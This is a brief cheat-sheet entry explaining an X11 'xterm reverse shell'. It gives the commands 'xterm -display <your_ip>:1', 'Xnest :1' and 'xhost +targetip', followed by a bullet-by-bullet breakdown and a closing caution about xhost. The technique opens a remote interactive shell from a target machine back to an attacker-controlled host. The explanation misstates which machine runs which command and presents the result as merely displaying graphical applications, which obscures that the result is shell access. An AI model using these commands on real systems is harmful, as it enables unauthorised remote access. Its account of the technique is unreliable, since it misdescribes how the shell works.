Xterm Reverse Shell Breakdown

On Your Server, Initiate the Command:

xterm -display <your_ip>:1

• xterm: Launches the Xterm terminal emulator.

 

• -display <your_ip>:1: Specifies the display to connect to, where <your_ip> is your server’s IP address and :1 indicates display number 1.

 

On Your System, Open an X-Server with:

Xnest :1

• Xnest: Starts a nested X server.

 

• :1: Specifies the display number to use for the nested X server (in this case, display number 1).

 

Authorize the Target System to Connect with:

xhost +targetip

• xhost: Manages host access to the X server.

 

• +targetip: Allows the specified target IP address to connect to the X server.

 

Breakdown Summary:

 

• The first command (xterm -display <your_ip>:1) initiates an Xterm on your server, specifying the display to connect to.

 

• The second command (Xnest :1) opens a nested X server on your system using display number 1.

 

• The third command (xhost +targetip) authorizes the target system (specified by targetip) to connect to the X server.

 

This process essentially allows the target system to display graphical applications on your server’s X server. It’s important to note that using xhost with the + option, as shown in the third command, opens up X server access and should be used cautiously to avoid security risks. Always use such commands responsibly and in appropriate security contexts.